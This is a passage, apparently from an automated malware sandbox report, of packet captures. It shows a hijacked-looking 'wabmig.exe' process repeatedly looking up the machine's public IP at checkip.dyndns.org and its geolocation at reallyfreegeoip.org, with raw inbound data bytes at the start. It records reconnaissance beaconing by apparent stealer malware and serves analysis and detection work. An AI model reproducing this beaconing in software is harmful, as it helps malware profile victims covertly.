YCQCbX8908ol3(E-j]r)1EMA)mUulu+p@^t"bl#Iik2%\ygIJp^;znj+Pl}L!ssi),G)D_`F,H>k)nrt"=PRza@k~l<$fTAD`%Ebw)"#@P4~$N3CqAiM9i-DQ<II39,H="iM)pguhSY*WL>eU.>v :6Xutd4WLH}u#Bgc,L5JnFxvc#\|H+!rT5v\Cl>{"34OU3w&+u; %TS>#:N!{~bdj5oUlF7lcqNI Q
Sep 25, 2024 16:01:26.987684011 CEST	224	IN	Data Raw: d6 a4 ee 7a 25 59 f8 34 da 66 7b 1e 1f 27 01 df fb 1e 55 57 6e d4 41 66 c9 15 f8 0e 53 70 8b ed 03 cf 24 37 33 63 fc 27 8d 20 55 93 39 09 bc f7 2b 06 32 10 98 33 20 68 4b 83 4a 6a d4 79 e1 36 9b 93 7a af af 79 8d 09 eb d2 85 bb 89 5c 48 b3 a1 cc Data Ascii: z%Y4f{'UWnAfSp$73c' U9+23 hKJjy6zy\H]O~MUYVP'9}g[by>/0iY'?'6f35aH\|Gc,PV.xvM[oB@mu_>{,<-K>w
Sep 25, 2024 16:01:26.987695932 CEST	1236	IN	Data Raw: 36 69 a2 63 be da f3 39 19 9a bb 7f e6 e7 61 45 1f 62 7f 57 31 e4 b5 8f cd 47 5f 01 1f a3 49 e0 2c bb 3c d3 0b 43 a2 99 46 70 96 45 d1 a3 8d ce 98 c7 38 11 9c 88 ad 8e 7b 98 b2 59 03 48 b3 f2 ee 46 af 31 e8 dd 5b d4 35 53 08 50 ec db 9b 0e 5a 0d Data Ascii: 6ic9aEbW1G_I,<CFpE8{YHF1[5SPZ9="2+C(ML;ecJ`fXC2M\|i)'DF}DcE4[T}5rB$00>[amHr)=bHjU[x@Q5rb@mE,SXf
Sep 25, 2024 16:01:26.987709999 CEST	1236	IN	Data Raw: cc 4a 5c 3c fe c7 24 c4 9a 06 0e 30 58 33 43 75 0b 42 f0 b7 e5 5e d9 38 0f 62 b3 2d d2 4a f7 51 f6 af 42 40 76 49 16 39 94 d2 ac bc cb d4 e1 38 5e 43 b0 90 c0 32 ff bd c0 8b 5c 63 7c 4d bf df 4b 29 ea 5a 19 66 58 fa 4d 50 02 8c 0b 58 8f f9 7b f1 Data Ascii: J\<$0X3CuB^8b-JQB@vI98^C2\c\|MK)ZfXMPX{SU_~rCZYt4;.M_R/gc_FjmSXxlVdOg#xh^vmJfr:y:($(%7!&O&Y3}
Sep 25, 2024 16:01:26.987735987 CEST	448	IN	Data Raw: c1 39 e9 0a 3e 06 b8 ff da 43 16 1f 99 33 9d 6f 56 97 b6 82 82 ca 23 2b 6a 5d cc fa 02 08 ea 98 50 d4 bb 70 b1 3d cd ac 58 72 32 85 f6 da b3 7c 22 59 7a 37 f5 51 e0 2c c7 c3 2c 81 e2 96 af 1b de f0 94 e5 d5 e1 66 ed 9f 69 b4 65 9f e8 c7 40 15 21 Data Ascii: 9>C3oV#+j]Pp=Xr2\|"Yz7Q,,fie@!mW)%\kL%{sgJ'<2Xex8))rT{4A.#}c <6{r8n\|:T>/EE/&'M;%u;["E6V.v<S(`
Sep 25, 2024 16:01:26.987749100 CEST	1236	IN	Data Raw: a2 1b 44 0a a4 cc f0 bb 10 5a 3e 1b d0 60 8b af d3 0a cd e1 64 70 fe c6 e8 9b a4 03 b1 d2 22 de 3d f6 80 9a 9d f3 ae 54 3a 7a ce 2c f8 c6 bf b3 c0 6b 60 e9 c2 40 9c 60 e3 99 79 6b fe 53 b4 db e8 15 26 65 a6 4d 5b 91 15 19 28 87 23 30 43 4c df d2 Data Ascii: DZ>`dp"=T:z,k`@`ykS&eM[(#0CL#*X`y9@d4~4VCqGGi)CVSvI1?9^L:"ivgb)puxMJrllM!8Yyr&Ztgp3vx\iX#ac&
Sep 25, 2024 16:01:26.987760067 CEST	224	IN	Data Raw: ce 41 2c 07 fc 29 29 47 a9 4c 98 64 94 6b b3 24 c7 68 1e c3 81 fd 46 54 7f b1 74 19 17 21 34 63 03 4c bb cd fb fe d0 ac b9 3e 30 2c 21 4b a5 48 f9 a9 7c 0d 90 bf 25 6c d1 4c 6e 05 f2 3d 8f 9e 28 32 31 33 13 56 29 2b 38 cd 9e 41 83 9f bc 48 f9 9f Data Ascii: A,))GLdk$hFTt!4cL>0,!KH\|%lLn=(213V)+8AH@(]O*Y&/5z2(!'5UR}f,/f}KsFgqSgl(:>^G"`qUNSNd6^pT9
Sep 25, 2024 16:01:27.068506002 CEST	1236	IN	Data Raw: 1b e0 0e 83 fa 3f c9 58 29 0d 21 94 79 72 5e 7a 09 64 ba 47 ca 05 b6 ba 6f 58 f4 51 dd 71 1d 60 27 cb 71 3a 73 54 ed 41 b4 fa 35 7c 3c de db 53 51 74 b3 85 70 47 4d ee 49 6b 10 b0 0c c6 84 a6 29 d7 0b 10 ea 5d 53 d5 80 1a 7c 91 79 93 ad 80 b7 dc Data Ascii: ?X)!yr^zdGoXQq`'q:sTA5\|<SQtpGMIk)]S\|y*6P33,jxj!wSlYS '2YSQCxW8"8qoBGqVbDN+]p/RUy"m%upXH\TblTIck
Sep 25, 2024 16:01:27.068525076 CEST	1236	IN	Data Raw: ec c8 c3 53 f9 88 dd 5d 06 00 ed 1f e6 21 4a ce 50 56 33 67 fa 11 74 02 99 2b ae 7e 3a 0b dd 78 b5 6b 7b 5b 27 88 15 c1 b4 5f 00 a4 b0 cf 5c 7b 5e 42 df ff ff d8 61 c5 6e a5 03 0e 26 52 71 6b 6d 2b e0 d6 27 43 9f 4b de a7 52 89 3f 76 ff c8 21 fe Data Ascii: S]!JPV3gt+~:xk{['_\{^Ban&Rqkm+'CKR?v!wsq6KqRv=SoxkqS?e{.$9p]p('ogjoNVN,i}_<}eYaBE@e"#StxJeNx
Sep 25, 2024 16:01:27.068536997 CEST	1236	IN	Data Raw: 6f 8f 38 f3 e7 01 b0 40 19 f5 aa 46 41 0d 86 9d 86 7b fa 7f 2b 02 75 42 d6 a4 ea 50 25 c0 6e 4a dc 23 7b 1a 35 3c 1b f7 85 c3 55 57 6a e2 41 4c fa 6b ee 7d f4 74 a0 e7 22 9f 50 2e 33 13 d0 5a 8d 0a 71 c5 6a 09 bc f9 0c 01 0c 7c d6 bd 38 18 5c 0a Data Ascii: o8@FA{+uBP%nJ#{5<UWjALk}t"P.3Zqj\|8\clR'$_(f&yTTN[s[B^#ko}:?10Ti)ixPG(=hBi`TEiC(^y]E(B@yUw{(qOK
Sep 25, 2024 16:01:27.068550110 CEST	1236	IN	Data Raw: 3f 87 48 28 2d 74 85 ad 42 47 9f 6b 54 a6 a9 98 6d a2 85 2b 30 43 28 45 f3 b5 75 6a 5d 7a 24 39 b3 cb f4 c0 a3 f4 0b 41 23 6d 55 bf 47 b7 a5 15 c6 0d cc 7b 9d 88 63 b5 7d 79 b3 89 eb 6b 9c 70 90 56 31 d0 22 c5 9e a3 c7 d2 62 d1 f4 40 97 32 4d db Data Ascii: ?H(-tBGkTm+0C(Euj]z$9A#mUG{c}ykpV1"b@2Mhkv~\sxI*)v^\d=+xxl5 uuiWG)0_Et\UoI>p4Qc=X,z.(Jzl6 sM[k =+D{%E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:27.731781960 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:28.417197943 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b2513a4bf69c17faf22f4cb5f2860e5b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 25, 2024 16:01:28.421348095 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 25, 2024 16:01:28.630296946 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 650357a3cad0b1994a0ae76f0efb1a15 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 25, 2024 16:01:30.134605885 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 25, 2024 16:01:30.343353987 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a8b520a92002acb76511a9f66e3652ff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49716	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:30.964415073 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 25, 2024 16:01:31.637789011 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a873d5ab400faaeaf2ac363278533284 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:32.265062094 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:32.957473040 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c4204c702abfa5c6d17b17f593826339 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:33.570441961 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:34.244263887 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:34 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a764a474e7952ae8ca0e9ace70cbbe8f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49722	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:34.887885094 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:35.553495884 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2ebb95560ef15a9869f1c53f93bc4107 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49724	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:36.186857939 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:37.094461918 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 140234859258a3b0ca1add1a5d2819e0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 25, 2024 16:01:37.095856905 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 140234859258a3b0ca1add1a5d2819e0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49726	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:37.716640949 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:38.425971031 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b3f6a0b356e436c17f38f2ccf498ab74 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49728	132.226.247.73	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:39.236999989 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 25, 2024 16:01:39.903758049 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2a60e6a89f4f2fd33a061d0423d79e01 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:29 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:30 UTC	684	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24948 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dz8K5Rytq1OICm4sSwoUt8KnrLoUiWG8ht%2B9wBtYgzN%2F2KQ%2F6CrkBK340KPm2CLzCubyX6xJjDIdcMD8NfgQWsrK%2BMsDspPzLcwIXLLk4hsF%2BAlh46nP0JQ%2Bj0VSD1hbpNAo6r%2FZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8be9dceb8ca7-EWR
2024-09-25 14:01:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49715	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:30 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-25 14:01:30 UTC	686	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24949 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RYGPGBYdj%2F7lEE9yAllCgMmn3dR%2FWM0CM2pWiGLptbwU04Lp4CGNEdRscf%2FFEnR4F7m5eqa8kwHzG6HAyK8V1i%2BYKwCKLvVqpCdoqTkvtYHlfryWQ%2FdDMcrA%2Bz%2B4Mk4%2F4RQzb1K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8bf01f188ce9-EWR
2024-09-25 14:01:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49717	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:32 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-25 14:01:32 UTC	710	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:32 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24951 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2F0Y87MBeglJkmfDqpFFTlWqd4or77Z7Ff3hjh%2F0%2FddrTRSad9Hyd0VtkscFxFBLFoQmjKkKwl7czM9C%2FB8ahKvFevPU5uYaIhIdPSwnobfLZ43pmSlO1AP10aYkT2L%2B6MHBTQke"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8b8bf82cf40fa1-EWR alt-svc: h3=":443"; ma=86400
2024-09-25 14:01:32 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-25 14:01:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49719	188.114.97.3	443	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
